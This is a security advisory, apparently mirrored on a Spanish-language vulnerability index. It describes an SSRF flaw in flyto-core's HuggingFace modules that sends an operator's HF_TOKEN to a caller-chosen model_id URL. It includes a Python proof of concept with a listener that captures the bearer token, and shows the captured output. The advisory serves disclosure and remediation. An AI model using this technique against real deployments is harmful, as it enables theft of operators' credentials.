GHSA-6R7H-3HCC-JWPR
SSRF and operator HF_TOKEN exfiltration: huggingface.* modules send the token to a caller-controlled model_id URL
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-6R7H-3HCC-JWPR divulgada · CVSS 7.7 (GitHub) | |
| Remediación | Parche 2.33.0 | flyto-core · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
The HuggingFace task modules (for example `huggingface.text-generation`, `huggingface.summarization`, `huggingface.translation`, and their siblings) accept a caller-supplied `model_id` and apply no server-side validation to it. When the requested model is not present in the local install registry, which is the default state for any model an operator has not pre-downloaded, the runtime falls back to the hosted Inference API path, constructs an inference client bound to the operator's `HF_TOKEN` environment secret, and issues the request to `model_id` as the endpoint. A caller who can execute modules (any MCP client or API-token holder, the less-trusted principal in this product's threat model) can set `model_id` to a URL it controls and receive the operator's HuggingFace token in the `Authorization: *** header of the resulting request. No SSRF guard and no credential-endpoint guard exist anywhere in the HuggingFace runtime.
Root Cause
Every other outbound-connecting module in this codebase routes its caller-influenced host or URL through a shared containment primitive (`enforce_outbound_host` for raw hosts, `enforce_outbound_service_url` for non-HTTP endpoints, or a credential-endpoint guard for modules that attach environment secrets). The HuggingFace runtime applies none of them. `model_id` flows unvalidated from the module entry point into the runtime policy resolver, and from there into the inference client, and the client attaches the environment-sourced bearer token to whatever endpoint the value names. The security invariant that an operator credential must only be transmitted to a trusted, operator-approved endpoint is never enforced on this path.
Affected functions (repository-relative):
- src/core/modules/atomic/huggingface/_runtime.py: run_inference_api
builds InferenceClient(token=<HF_TOKEN from env>) and invokes the task
method with model=model_id (the caller-controlled value) with no host or
credential-endpoint validation.
- src/core/modules/atomic/huggingface/_runtime.py: HuggingFaceRuntime.resolve_policy
selects the Inference API path (token attached) whenever the model is not
downloaded locally, which is the default state, without validating model_id.
- Entry points such as src/core/modules/atomic/huggingface/text_generation.py
read params['model_id'] directly and forward it to the shared executor.Impact
An attacker who can invoke a module (MCP client or API-token holder) and who supplies a `model_id` pointing at a host it controls obtains the operator's HuggingFace access token. Preconditions: the operator has set `HF_TOKEN` (or the alternate `HUGGINGFACE_TOKEN`) in the environment, the optional `huggingface_hub` dependency is installed (any deployment that actually uses these modules has it), and the requested model is not already downloaded locally, which holds for any attacker-chosen URL because such a value is never an installed model. With the token, the attacker gains read access to the operator's private models and datasets and to the inference API under that account. Where the token is write-scoped, which is common for a token placed in a server environment, the attacker can also modify or delete the operator's models and incur inference billing; that write capability is a plausible consequence of holding the credential rather than a behavior demonstrated by the proof of concept below.
Proof of Concept
Dependencies: a released install of the affected package plus the huggingface_hub
client library (verified against huggingface_hub 1.31.0). The operator environment
has HF_TOKEN set. The requested model is not present in the local install registry
(the default), so the runtime selects the hosted Inference API path.- Start a listener on a host the attacker controls (below, a loopback capture server standing in for an arbitrary public URL).
- Invoke the HuggingFace text-generation module with `model_id` set to that listener's URL.
- Observe the operator's bearer token arrive in the request headers.
# Standalone reproduction of the client behavior the module relies on.
import threading, http.server
captured = {}
class H(http.server.BaseHTTPRequestHandler):
def do_POST(self):
captured['auth'] = self.headers.get('Authorization')
self.send_response(200); self.send_header('Content-Type','application/json')
self.end_headers(); self.wfile.write(b'[{"generated_text":"x"}]')
def log_message(self, *a): pass
srv = http.server.HTTPServer(('127.0.0.1', 8099), H)
threading.Thread(target=srv.handle_request, daemon=True).start()
from huggingface_hub import InferenceClient
client = InferenceClient(token="hf_operator_SECRET_token_value")
try:
client.text_generation("hi", model="http://127.0.0.1:8099/")
except Exception:
pass
print("attacker endpoint received:", captured.get('auth'))attacker endpoint received: Bearer hf_operator_SECRET_token_valueAttack Chain
- Exposure: The HuggingFace task modules are registered and are not in the default module denylist, so `is_allowed("huggingface.text-generation")` returns true; a module-executing caller reaches the entry point over the MCP tools interface or the module-execution HTTP endpoint.
- Control: The caller supplies `model_id`; the entry point reads `params['model_id']` directly and the module-execution path performs no schema validation against the declared parameter type, so the value is fully attacker-controlled.
- Path: `model_id` is passed to the shared task executor and then to the runtime policy resolver. Because the value is not an installed model and offline mode is off, the resolver selects the hosted Inference API mode and marks the request executable when `HF_TOKEN` is present.
- Guard: None. There is no host allowlist, no SSRF guard, and no credential-endpoint guard on this path; the parameter type annotation is a UI hint with no runtime enforcement.
- Primitive: The runtime constructs an inference client bound to the operator's `HF_TOKEN` and issues the request with `model` set to the attacker URL; the client library treats a URL model as the inference endpoint and attaches `Authorization: Bearer *** to it.
- Result: The operator's HuggingFace token is transmitted to the attacker-controlled endpoint, disclosing the credential and the account access it grants.
Bypass Evidence
There is no relevant guard or prior fix to bypass on this path; that absence is the vulnerability. A grep of the HuggingFace runtime directory for the shared guard primitives (`enforce_outbound_host`, `enforce_outbound_service_url`, credential-endpoint guards, and URL validators) returns zero matches, in both the source checkout and the released package artifact. Attempts to disprove the finding: the local-install registry path was checked as a possible mitigation, but it only diverts to local execution for a model the operator has already downloaded, whereas an attacker URL is never an installed model, so the token-attaching path is the one taken; the declared `installed_model` parameter type was checked as possible validation, but its only consumer is a development-time registry linter, not the request path; and the runtime policy resolver was checked for host validation, but it decides only between local and hosted execution and never inspects the shape of `model_id`. The client behavior of attaching the bearer token to a URL model endpoint was confirmed by direct execution against huggingface_hub 1.31.0, as shown above.
Affected Versions
- `Ecosystem: pip`
- `Package: flyto-core`
- `Confirmed affected range: <= 2.32.1`
- `Latest release checked: 2.32.1 (PyPI, sdist verified to contain the unguarded runtime)`
- `Fix status: not fixed`
The vulnerable runtime ships unguarded in the current published release. The lower bound (the first release that introduced the HuggingFace runtime) has not been bisected, so the range is expressed as an upper bound through the latest published version. No fix exists on any released branch.
Suggested Fix
Enforce the credential-endpoint invariant on the HuggingFace Inference API path: before constructing the token-bound inference client, validate the resolved endpoint derived from `model_id` against an operator-approved allowlist, and refuse to attach `HF_TOKEN` to any caller-supplied URL that is not explicitly permitted. Treat `model_id` as untrusted input: reject values that are URLs (or resolve them only against a configured allowlist of trusted inference hosts) and route non-URL model identifiers through the official HuggingFace resolution rather than as raw endpoints. The check must cover every HuggingFace task entry point, since they share the single runtime sink, and must fail closed when the endpoint cannot be validated. As an interim mitigation without a code change, operators can deny the HuggingFace modules through the module denylist, avoid placing `HF_TOKEN` in the runtime environment, or pre-download and pin the specific models they use so the local-execution path is taken.
Reported by zx (GitHub: @manus-pi).
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypiflyto-core |
Corregida | 2.33.0 | 0 d | 2.41.0 no afectada |
2.33.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/flytohub/flyto-core/security/advisories/GHSA-6r7h-3hcc-jwprLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
